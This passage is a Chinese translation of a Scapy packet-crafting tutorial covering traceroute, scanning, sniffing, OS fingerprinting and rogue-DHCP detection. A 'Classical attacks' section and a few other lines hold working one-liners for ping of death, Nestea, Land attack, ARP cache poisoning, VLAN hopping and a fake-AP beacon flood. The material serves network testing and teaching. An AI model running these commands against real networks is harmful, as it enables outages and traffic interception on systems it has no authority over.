\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e
\x1f !"#$%&\'()*+,-./01234567' |>>>>
>>> pkt_str = str(pkt)
>>> pkt_str
'\x00PV\xfc\xceP\x00\x0c)+S\x19\x08\x00E\x00\x00T\x00\x00@\x00@\x01Z|\xc0\xa8
\x19\x82\x04\x02\x02\x01\x08\x00\x9c\x90Za\x00\x01\xe6\xdapI\xb6\xe5\x08\x00
\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b
\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567'
通過選擇合適的起始層(例如Ether()
),我們可以重新導入十六進制字符串。
>>> new_pkt = Ether(pkt_str)
>>> new_pkt
<Ether dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e
\x1f !"#$%&\'()*+,-./01234567' |>>>>
Base64
使用export_object()
函數,Scapy可以數據包轉換成base64編碼的Python數據結構:
>>> pkt
<Ether dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f
!"#$%&\'()*+,-./01234567' |>>>>
>>> export_object(pkt)
eNplVwd4FNcRPt2dTqdTQ0JUUYwN+CgS0gkJONFEs5WxFDB+CdiI8+pupVl0d7uzRUiYtcEGG4ST
OD1OnB6nN6c4cXrvwQmk2U5xA9tgO70XMm+1rA78qdzbfTP/lDfzz7tD4WwmU1C0YiaT2Gqjaiao
bMlhCrsUSYrYoKbmcxZFXSpPiohlZikm6ltb063ZdGpNOjWQ7mhPt62hChHJWTbFvb0O/u1MD2bT
WZXXVCmi9pihUqI3FHdEQslriiVfWFTVT9VYpog6Q7fsjG0qRWtQNwsW1fRTrUg4xZxq5pUx1aS6
...
使用import_object()
函數,可以將以上輸出重新導入到Scapy中:
>>> new_pkt = import_object()
eNplVwd4FNcRPt2dTqdTQ0JUUYwN+CgS0gkJONFEs5WxFDB+CdiI8+pupVl0d7uzRUiYtcEGG4ST
OD1OnB6nN6c4cXrvwQmk2U5xA9tgO70XMm+1rA78qdzbfTP/lDfzz7tD4WwmU1C0YiaT2Gqjaiao
bMlhCrsUSYrYoKbmcxZFXSpPiohlZikm6ltb063ZdGpNOjWQ7mhPt62hChHJWTbFvb0O/u1MD2bT
WZXXVCmi9pihUqI3FHdEQslriiVfWFTVT9VYpog6Q7fsjG0qRWtQNwsW1fRTrUg4xZxq5pUx1aS6
...
>>> new_pkt
<Ether dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f
!"#$%&\'()*+,-./01234567' |>>>>
Sessions
最後可以使用save_session()
函數來保存所有的session變量:
>>> dir()
['__builtins__', 'conf', 'new_pkt', 'pkt', 'pkt_export', 'pkt_hex', 'pkt_str', 'pkts']
>>> save_session("session.scapy")
使用load_session()
函數,在下一次你啓動Scapy的時候你就能加載保存的session:
>>> dir()
['__builtins__', 'conf']
>>> load_session("session.scapy")
>>> dir()
['__builtins__', 'conf', 'new_pkt', 'pkt', 'pkt_export', 'pkt_hex', 'pkt_str', 'pkts']
Making tables
現在我們來演示一下make_table()
函數的功能。該函數的需要一個列表和另一個函數(返回包含三個元素的元組)作爲參數。第一個元素是表格x軸上的一個值,第二個元素是y軸上的值,第三個原始則是座標(x,y)對應的值,其返回結果爲一個表格。這個函數有兩個變種,make_lined_table()
和make_tex_table()
來複制/粘貼到你的LaTeX報告中。這些函數都可以作爲一個結果對象的方法:
在這裏,我們可以看到一個多機並行的traceroute(Scapy的已經有一個多TCP路由跟蹤功能,待會兒可以看到):
>>> ans,unans=sr(IP(dst="www.test.fr/30", ttl=(1,6))/TCP())
Received 49 packets, got 24 answers, remaining 0 packets
>>> ans.make_table( lambda (s,r): (s.dst, s.ttl, r.src) )
216.15.189.192 216.15.189.193 216.15.189.194 216.15.189.195
1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1
2 81.57.239.254 81.57.239.254 81.57.239.254 81.57.239.254
3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254
4 213.228.3.3 213.228.3.3 213.228.3.3 213.228.3.3
5 193.251.254.1 193.251.251.69 193.251.254.1 193.251.251.69
6 193.251.241.174 193.251.241.178 193.251.241.174 193.251.241.178
這裏有個更復雜的例子:從他們的IPID字段中識別主機。我們可以看到172.20.80.200只有22端口做出了應答,而172.20.80.201則對所有的端口都有應答,而且172.20.80.197對25端口沒有應答,但對其他端口都有應答。
>>> ans,unans=sr(IP(dst="172.20.80.192/28")/TCP(dport=[20,21,22,25,53,80]))
Received 142 packets, got 25 answers, remaining 71 packets
>>> ans.make_table(lambda (s,r): (s.dst, s.dport, r.sprintf("%IP.id%")))
172.20.80.196 172.20.80.197 172.20.80.198 172.20.80.200 172.20.80.201
20 0 4203 7021 - 11562
21 0 4204 7022 - 11563
22 0 4205 7023 11561 11564
25 0 0 7024 - 11565
53 0 4207 7025 - 11566
80 0 4028 7026 - 11567
你在使用TTL和顯示接收到的TTL等情況下,它可以很輕鬆地幫你識別網絡拓撲結構。
Routing
現在Scapy有自己的路由表了,所以將你的數據包以不同於操作系統的方式路由:
>>> conf.route
Network Netmask Gateway Iface
127.0.0.0 255.0.0.0 0.0.0.0 lo
192.168.8.0 255.255.255.0 0.0.0.0 eth0
0.0.0.0 0.0.0.0 192.168.8.1 eth0
>>> conf.route.delt(net="0.0.0.0/0",gw="192.168.8.1")
>>> conf.route.add(net="0.0.0.0/0",gw="192.168.8.254")
>>> conf.route.add(host="192.168.1.1",gw="192.168.8.1")
>>> conf.route
Network Netmask Gateway Iface
127.0.0.0 255.0.0.0 0.0.0.0 lo
192.168.8.0 255.255.255.0 0.0.0.0 eth0
0.0.0.0 0.0.0.0 192.168.8.254 eth0
192.168.1.1 255.255.255.255 192.168.8.1 eth0
>>> conf.route.resync()
>>> conf.route
Network Netmask Gateway Iface
127.0.0.0 255.0.0.0 0.0.0.0 lo
192.168.8.0 255.255.255.0 0.0.0.0 eth0
0.0.0.0 0.0.0.0 192.168.8.1 eth0
Gnuplot
我們可以很容易地將收集起來的數據繪製成Gnuplot。(清確保你已經安裝了Gnuplot-py和Gnuplot)例如,我們可以通過觀察圖案知道負載平衡器用了多少個不同的IP堆棧:
>>> a,b=sr(IP(dst="www.target.com")/TCP(sport=[RandShort()]*1000))
>>> a.plot(lambda x:x[1].id)
<Gnuplot._Gnuplot.Gnuplot instance at 0xb7d6a74c>
TCP traceroute (2)
Scapy也有強大的TCP traceroute功能。並不像其他traceroute程序那樣,需要等待每個節點的迴應纔去下一個節點,scapy會在同一時間發送所有的數據包。其缺點就是不知道什麼時候停止(所以就有maxttl參數),其巨大的優點就是,只用了不到3秒,就可以得到多目標的traceroute結果:
>>> traceroute(["www.yahoo.com","www.altavista.com","www.wisenut.com","www.copernic.com"],maxttl=20)
Received 80 packets, got 80 answers, remaining 0 packets
193.45.10.88:80 216.109.118.79:80 64.241.242.243:80 66.94.229.254:80
1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1
2 82.243.5.254 82.243.5.254 82.243.5.254 82.243.5.254
3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254
4 212.27.50.46 212.27.50.46 212.27.50.46 212.27.50.46
5 212.27.50.37 212.27.50.41 212.27.50.37 212.27.50.41
6 212.27.50.34 212.27.50.34 213.228.3.234 193.251.251.69
7 213.248.71.141 217.118.239.149 208.184.231.214 193.251.241.178
8 213.248.65.81 217.118.224.44 64.125.31.129 193.251.242.98
9 213.248.70.14 213.206.129.85 64.125.31.186 193.251.243.89
10 193.45.10.88 SA 213.206.128.160 64.125.29.122 193.251.254.126
11 193.45.10.88 SA 206.24.169.41 64.125.28.70 216.115.97.178
12 193.45.10.88 SA 206.24.226.99 64.125.28.209 66.218.64.146
13 193.45.10.88 SA 206.24.227.106 64.125.29.45 66.218.82.230
14 193.45.10.88 SA 216.109.74.30 64.125.31.214 66.94.229.254 SA
15 193.45.10.88 SA 216.109.120.149 64.124.229.109 66.94.229.254 SA
16 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA
17 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA
18 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA
19 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA
20 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA
(<Traceroute: UDP:0 TCP:28 ICMP:52 Other:0>, <Unanswered: UDP:0 TCP:0 ICMP:0 Other:0>)
最後一行實際上是該函數的返回結果:traceroute返回一個對象和無應答數據包列表。traceroute返回的是一個經典返回對象更加特殊的版本(實際上是一個子類)。我們可以將其保存以備後用,或者是進行一些例如檢查填充的更深層次的觀察:
>>> result,unans=_
>>> result.show()
193.45.10.88:80 216.109.118.79:80 64.241.242.243:80 66.94.229.254:80
1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1
2 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254
3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254
[...]
>>> result.filter(lambda x: Padding in x[1])
和其他返回對象一樣,traceroute對象也可以相加:
>>> r2,unans=traceroute(["www.voila.com"],maxttl=20)
Received 19 packets, got 19 answers, remaining 1 packets
195.101.94.25:80
1 192.168.8.1
2 82.251.4.254
3 213.228.4.254
4 212.27.50.169
5 212.27.50.162
6 193.252.161.97
7 193.252.103.86
8 193.252.103.77
9 193.252.101.1
10 193.252.227.245
12 195.101.94.25 SA
13 195.101.94.25 SA
14 195.101.94.25 SA
15 195.101.94.25 SA
16 195.101.94.25 SA
17 195.101.94.25 SA
18 195.101.94.25 SA
19 195.101.94.25 SA
20 195.101.94.25 SA
>>>
>>> r3=result+r2
>>> r3.show()
195.101.94.25:80 212.23.37.13:80 216.109.118.72:80 64.241.242.243:80 66.94.229.254:80
1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1
2 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254
3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254
4 212.27.50.169 212.27.50.169 212.27.50.46 - 212.27.50.46
5 212.27.50.162 212.27.50.162 212.27.50.37 212.27.50.41 212.27.50.37
6 193.252.161.97 194.68.129.168 212.27.50.34 213.228.3.234 193.251.251.69
7 193.252.103.86 212.23.42.33 217.118.239.185 208.184.231.214 193.251.241.178
8 193.252.103.77 212.23.42.6 217.118.224.44 64.125.31.129 193.251.242.98
9 193.252.101.1 212.23.37.13 SA 213.206.129.85 64.125.31.186 193.251.243.89
10 193.252.227.245 212.23.37.13 SA 213.206.128.160 64.125.29.122 193.251.254.126
11 - 212.23.37.13 SA 206.24.169.41 64.125.28.70 216.115.97.178
12 195.101.94.25 SA 212.23.37.13 SA 206.24.226.100 64.125.28.209 216.115.101.46
13 195.101.94.25 SA 212.23.37.13 SA 206.24.238.166 64.125.29.45 66.218.82.234
14 195.101.94.25 SA 212.23.37.13 SA 216.109.74.30 64.125.31.214 66.94.229.254 SA
15 195.101.94.25 SA 212.23.37.13 SA 216.109.120.151 64.124.229.109 66.94.229.254 SA
16 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA
17 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA
18 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA
19 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA
20 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA
Traceroute返回對象有一個非常實用的功能:他們會將得到的所有路線做成一個有向圖,並用AS組織路線。你需要安裝graphviz。在默認情況下會使用ImageMagick顯示圖形。
>>> res,unans = traceroute(["www.microsoft.com","www.cisco.com","www.yahoo.com","www.wanadoo.fr","www.pacsec.com"],dport=[80,443],maxttl=20,retry=-2)
Received 190 packets, got 190 answers, remaining 10 packets
193.252.122.103:443 193.252.122.103:80 198.133.219.25:443 198.133.219.25:80 207.46...
1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 192.16...
2 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254 82.251...
3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 213.22...
[...]
>>> res.graph() # piped to ImageMagick's display program. Image below.
>>> res.graph(type="ps",target="| lp") # piped to postscript printer
>>> res.graph(target="> /tmp/graph.svg") # saved to file
如果你安裝了VPython,你就可以用3D來表示traceroute。右邊的按鈕是旋轉圖案,中間的按鈕是放大縮小,左邊的按鈕是移動圖案。如果你單擊一個球,它的IP地址就會出現/消失。如果你按住Ctrl單擊一個球,就會掃描21,22,23,25,80和443端口,並顯示結果:
>>> res.trace3D()
Wireless frame injection
frame injection的前提是你的無線網卡和驅動得正確配置好。
$ ifconfig wlan0 up
$ iwpriv wlan0 hostapd 1
$ ifconfig wlan0ap up
你可以造一個FakeAP:
>>> sendp(Dot11(addr1="ff:ff:ff:ff:ff:ff",addr2=RandMAC(),addr3=RandMAC())/
Dot11Beacon(cap="ESS")/
Dot11Elt(ID="SSID",info=RandString(RandNum(1,50)))/
Dot11Elt(ID="Rates",info='\x82\x84\x0b\x16')/
Dot11Elt(ID="DSset",info="\x03")/
Dot11Elt(ID="TIM",info="\x00\x01\x00\x00"),iface="wlan0ap",loop=1)
0x02 Simple one-liners
ACK Scan
使用Scapy強大的數據包功能,我們可以快速地複製經典的TCP掃描。例如,模擬ACK Scan將會發送以下字符串:
>>> ans,unans = sr(IP(dst="www.slashdot.org")/TCP(dport=[80,666],flags="A"))
我們可以在有應答的數據包中發現未過濾的端口:
>>> for s,r in ans:
... if s[TCP].dport == r[TCP].sport:
... print str(s[TCP].dport) + " is unfiltered"
同樣的,可以在無應答的數據包中發現過濾的端口:
>>> for s in unans:
... print str(s[TCP].dport) + " is filtered"
Xmas Scan
可以使用以下的命令來啓動Xmas Scan:
>>> ans,unans = sr(IP(dst="192.168.1.1")/TCP(dport=666,flags="FPU") )
有RST響應則意味着目標主機的對應端口是關閉的。
IP Scan
較低級的IP Scan可以用來枚舉支持的協議:
>>> ans,unans=sr(IP(dst="192.168.1.1",proto=(0,255))/"SCAPY",retry=2)
ARP Ping
在本地以太網絡上最快速地發現主機的方法莫過於ARP Ping了:
>>> ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.0/24"),timeout=2)
用以下命令可以來審查應答:
>>> ans.summary(lambda (s,r): r.sprintf("%Ether.src% %ARP.psrc%") )
Scapy還包含內建函數arping()
,該函數實現的功能和以上的兩個命令類似:
>>> arping("192.168.1.*")
ICMP Ping
可以用以下的命令來模擬經典的ICMP Ping:
>>> ans,unans=sr(IP(dst="192.168.1.1-254")/ICMP())
用以下的命令可以收集存活主機的信息:
>>> ans.summary(lambda (s,r): r.sprintf("%IP.src% is alive") )
TCP Ping
如果ICMP echo請求被禁止了,我們依舊可以用不同的TCP Pings,就像下面的TCP SYN Ping:
>>> ans,unans=sr( IP(dst="192.168.1.*")/TCP(dport=80,flags="S") )
對我們的刺探有任何響應就意味着爲一臺存活主機,可以用以下的命令收集結果:
>>> ans.summary( lambda(s,r) : r.sprintf("%IP.src% is alive") )
UDP Ping
如果其他的都失敗了,還可以使用UDP Ping,它可以讓存活主機產生ICMP Port unreachable錯誤。你可以挑選任何極有可能關閉的端口,就像端口0:
>>> ans,unans=sr( IP(dst="192.168.*.1-10")/UDP(dport=0) )
同樣的,使用以下命令收集結果:
>>> ans.summary( lambda(s,r) : r.sprintf("%IP.src% is alive") )
Classical attacks
Malformed packets:
>>> send(IP(dst="10.1.1.5", ihl=2, version=3)/ICMP())
Ping of death (Muuahahah):
>>> send( fragment(IP(dst="10.0.0.5")/ICMP()/("X"*60000)) )
Nestea attack:
>>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*10))
>>> send(IP(dst=target, id=42, frag=48)/("X"*116))
>>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*224))
Land attack (designed for Microsoft Windows):
>>> send(IP(src=target,dst=target)/TCP(sport=135,dport=135))
ARP cache poisoning
這種攻擊可以通過VLAN跳躍攻擊投毒ARP緩存,使得其他客戶端無法加入真正的網關地址。
經典的ARP緩存投毒:
>>> send( Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client),
inter=RandNum(10,40), loop=1 )
使用double 802.1q封裝進行ARP緩存投毒:
>>> send( Ether(dst=clientMAC)/Dot1Q(vlan=1)/Dot1Q(vlan=2)
/ARP(op="who-has", psrc=gateway, pdst=client),
inter=RandNum(10,40), loop=1 )
TCP Port Scanning
發送一個TCP SYN到每一個端口上。等待一個SYN-ACK或者是RST或者是一個ICMP錯誤:
>>> res,unans = sr( IP(dst="target")
/TCP(flags="S", dport=(1,1024)) )
將開放的端口結果可視化:
>>> res.nsummary( lfilter=lambda (s,r): (r.haslayer(TCP) and (r.getlayer(TCP).flags & 2)) )
IKE Scanning
我們試圖通過發送ISAKMP Security Association proposals來確定VPN集中器,並接收應答:
>>> res,unans = sr( IP(dst="192.168.1.*")/UDP()
/ISAKMP(init_cookie=RandString(8), exch_type="identity prot.")
/ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal())
)
可視化結果列表:
>>> res.nsummary(prn=lambda (s,r): r.src, lfilter=lambda (s,r): r.haslayer(ISAKMP) )
Advanced traceroute
TCP SYN traceroute
>>> ans,unans=sr(IP(dst="4.2.2.1",ttl=(1,10))/TCP(dport=53,flags="S"))
結果會是:
>>> ans.summary( lambda(s,r) : r.sprintf("%IP.src%\t{ICMP:%ICMP.type%}\t{TCP:%TCP.flags%}"))
192.168.1.1 time-exceeded
68.86.90.162 time-exceeded
4.79.43.134 time-exceeded
4.79.43.133 time-exceeded
4.68.18.126 time-exceeded
4.68.123.38 time-exceeded
4.2.2.1 SA
UDP traceroute
相比較TCP來說, traceroute一個UDP應用程序是不可靠的,因爲ta沒有握手的過程。我們需要給一個應用性的有效載荷(DNS,ISAKMP,NTP等)來得到一個應答:
>>> res,unans = sr(IP(dst="target", ttl=(1,20))/UDP()/DNS(qd=DNSQR(qname="test.com"))
我們可以想象得到一個路由器列表的結果:
>>> res.make_table(lambda (s,r): (s.dst, s.ttl, r.src))
DNS traceroute
我們可以在traceroute()
函數中設置l4
參數爲一個完整的數據包,來實現DNS traceroute:
>>> ans,unans=traceroute("4.2.2.1",l4=UDP(sport=RandShort())/DNS(qd=DNSQR(qname="thesprawl.org")))
Begin emission:
..*....******...******.***...****Finished to send 30 packets.
*****...***...............................
Received 75 packets, got 28 answers, remaining 2 packets
4.2.2.1:udp53
1 192.168.1.1 11
4 68.86.90.162 11
5 4.79.43.134 11
6 4.79.43.133 11
7 4.68.18.62 11
8 4.68.123.6 11
9 4.2.2.1
...
Etherleaking
>>> sr1(IP(dst="172.16.1.232")/ICMP())
<IP src=172.16.1.232 proto=1 [...] |<ICMP code=0 type=0 [...]|
<Padding load=’0O\x02\x01\x00\x04\x06public\xa2B\x02\x02\x1e’ |>>>
ICMP leaking
這是一個Linux2.0的一個bug:
>>> sr1(IP(dst="172.16.1.1", options="\x02")/ICMP())
<IP src=172.16.1.1 [...] |<ICMP code=0 type=12 [...] |
<IPerror src=172.16.1.24 options=’\x02\x00\x00\x00’ [...] |
<ICMPerror code=0 type=8 id=0x0 seq=0x0 chksum=0xf7ff |
<Padding load=’\x00[...]\x00\x1d.\x00V\x1f\xaf\xd9\xd4;\xca’ |>>>>>
VLAN hopping
在非常特殊的情況下,使用double 802.1q封裝,可以將一個數據包跳到另一個VLAN中:
>>> sendp(Ether()/Dot1Q(vlan=2)/Dot1Q(vlan=7)/IP(dst=target)/ICMP())
Wireless sniffing
以下的命令將會像大多數的無線嗅探器那樣顯示信息:
>>> sniff(iface="ath0",prn=lambda x:x.sprintf("{Dot11Beacon:%Dot11.addr3%\t%Dot11Beacon.info%\t%PrismHeader.channel%\tDot11Beacon.cap%}"))
以上命令會產生類似如下的輸出:
00:00:00:01:02:03 netgear 6L ESS+privacy+PBCC
11:22:33:44:55:66 wireless_100 6L short-slot+ESS+privacy
44:55:66:00:11:22 linksys 6L short-slot+ESS+privacy
12:34:56:78:90:12 NETGEAR 6L short-slot+ESS+privacy+short-preamble
0x03 Recipes
Simplistic ARP Monitor
以下的程序使用了sniff()
函數的回調功能(prn參數)。將store參數設置爲0,就可以使sniff()
函數不存儲任何數據(否則會存儲),所以就可以一直嗅探下去。filter參數
則用於在高負荷的情況下有更好的性能:filter會在內核中應用,而且Scapy就只能嗅探到ARP流量。
#! /usr/bin/env python
from scapy.all import *
def arp_monitor_callback(pkt):
if ARP in pkt and pkt[ARP].op in (1,2): #who-has or is-at
return pkt.sprintf("%ARP.hwsrc% %ARP.psrc%")
sniff(prn=arp_monitor_callback, filter="arp", store=0)
Identifying rogue DHCP servers on your LAN
Problem
你懷疑有人已經在你的LAN中安裝了額外的未經授權的DHCP服務器-無論是故意的還是有意的。因此你想要檢查是否有任何活動的DHCP服務器,並確定他們的IP和MAC地址。
Solution
使用Scapy發送一個DHCP發現請求,並分析應答:
>>> conf.checkIPaddr = False
>>> fam,hw = get_if_raw_hwaddr(conf.iface)
>>> dhcp_discover = Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=hw)/DHCP(options=[("message-type","discover"),"end"])
>>> ans, unans = srp(dhcp_discover, multi=True) # Press CTRL-C after several seconds
Begin emission:
Finished to send 1 packets.
.*...*..
Received 8 packets, got 2 answers, remaining 0 packets
在這種情況下,我們得到了兩個應答,所以測試網絡上有兩個活動的DHCP服務器:
>>> ans.summarize()
Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.1:bootps > 255.255.255.255:bootpc / BOOTP / DHCP
Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.11:bootps > 255.255.255.255:bootpc / BOOTP / DHCP
}}}
We are only interested in the MAC and IP addresses of the replies:
{{{
>>> for p in ans: print p[1][Ether].src, p[1][IP].src
...
00:de:ad:be:ef:00 192.168.1.1
00:11:11:22:22:33 192.168.1.11
Discussion
我們設置multi=True
來確保Scapy在接收到第一個響應之後可以等待更多的應答數據包。這也就是我們爲什麼不用更方便的dhcp_request()
函數,而是手動地構造DCHP數據包的原因:dhcp_request()
使用srp1()
來發送和接收數據包,這樣在接收到一個應答數據包之後就會立即返回。
此外,Scapy通常確保應答來源於之前發送請求的目的地址。但是我們的DHCP數據包被髮送到IP廣播地址(255.255.255.255),任何應答數據包都將回復DCHP服務器的IP地址作爲其源IP地址(e.g. 192.168.1.1)。由於這些IP地址不匹配,我們必須在發送請求前使用conf.checkIPaddr = False
來禁用Scapy的check。
See also
http://en.wikipedia.org/wiki/Rogue_DHCP
Firewalking
TTL減一操作過濾後,只有沒被過濾的數據包會產生一個ICMP TTL超時
>>> ans, unans = sr(IP(dst="172.16.4.27", ttl=16)/TCP(dport=(1,1024)))
>>> for s,r in ans:
if r.haslayer(ICMP) and r.payload.type == 11:
print s.dport
在對多網卡的防火牆查找子網時,只有它自己的網卡IP可以達到這個TTL:
>>> ans, unans = sr(IP(dst="172.16.5/24", ttl=15)/TCP())
>>> for i in unans: print i.dst
TCP Timestamp Filtering
Problem
在比較流行的端口掃描器中,一種常見的情況就是沒有設置TCP時間戳選項,而許多防火牆都包含一條規則來丟棄這樣的TCP數據包。
Solution
爲了讓Scapy能夠到達其他位置,就必須使用其他選項:
>>> sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S",options=[('Timestamp',(0,0))]))
Viewing packets with Wireshark
Problem
你已經使用Scapy收集或者嗅探了一些數據包,因爲Wireshark高級的數據包展示功能,你想使用Wireshark查看這些數據包。
Solution
正好可以使用wireshark()
函數:
>>> packets = Ether()/IP(dst=Net("google.com/30"))/ICMP() # first generate some packets
>>> wireshark(packets) # show them with Wireshark
Discussion
wireshark()
函數可以生成一個臨時pcap文件,來包含你的數據包,然後會在後臺啓動Wireshark,使其在啓動時讀取該文件。
請記住Wireshark是處理第二層的數據包(通常被稱爲“幀”)。所以我們必須爲ICMP數據包添加一個Ether()頭。如果你直接將IP數據包(第三層)傳遞給Wireshark,你將會得到一個奇怪的結果。
你可以通過改變conf.prog.wireshark的配置設置,來告訴Scapy去哪尋找Wireshark可執行文件。
OS Fingerprinting
ISN
Scapy的可用於分析ISN(初始序列號)遞增來發現可能有漏洞的系統。首先我們將在一個循環中發送SYN探頭,來收集目標響應:
>>> ans,unans=srloop(IP(dst="192.168.1.1")/TCP(dport=80,flags="S"))
一旦我們得到響應之後,我們可以像這樣開始分析收集到的數據:
>>> temp = 0
>>> for s,r in ans:
... temp = r[TCP].seq - temp
... print str(r[TCP].seq) + "\t+" + str(temp)
...
4278709328 +4275758673
4279655607 +3896934
4280642461 +4276745527
4281648240 +4902713
4282645099 +4277742386
4283643696 +5901310
nmap_fp
在Scapy中支持Nmap指紋識別(是到Nmap v4.20的“第一代”功能)。在Scapy v2中,你首先得加載擴展模塊:
>>> load_module("nmap")
如果你已經安裝了Nmap,你可以讓Scapy使用它的主動操作系統指紋數據庫。清確保version 1簽名數據庫位於指定的路徑:
>>> conf.nmap_base
然後你可以使用namp_fp()
函數,該函數和Nmap操作系統檢測引擎使用同樣的探針:
>>> nmap_fp("192.168.1.1",oport=443,cport=1)
Begin emission:
.****..**Finished to send 8 packets.
*................................................
Received 58 packets, got 7 answers, remaining 1 packets
(1.0, ['Linux 2.4.0 - 2.5.20', 'Linux 2.4.19 w/grsecurity patch',
'Linux 2.4.20 - 2.4.22 w/grsecurity.org patch', 'Linux 2.4.22-ck2 (x86)
w/grsecurity.org and HZ=1000 patches', 'Linux 2.4.7 - 2.6.11'])
p0f
如果你已在操作系統中安裝了p0f,你可以直接從Scapy中使用它來猜測操作系統名稱和版本。(僅在SYN數據庫被使用時)。首先要確保p0f數據庫存在於指定的路徑:
>>> conf.p0f_base
例如,根據一個捕獲的數據包猜測操作系統:
>>> sniff(prn=prnp0f)
192.168.1.100:54716 - Linux 2.6 (newer, 1) (up: 24 hrs)
-> 74.125.19.104:www (distance 0)
<Sniffed: TCP:339 UDP:2 ICMP:0 Other:156>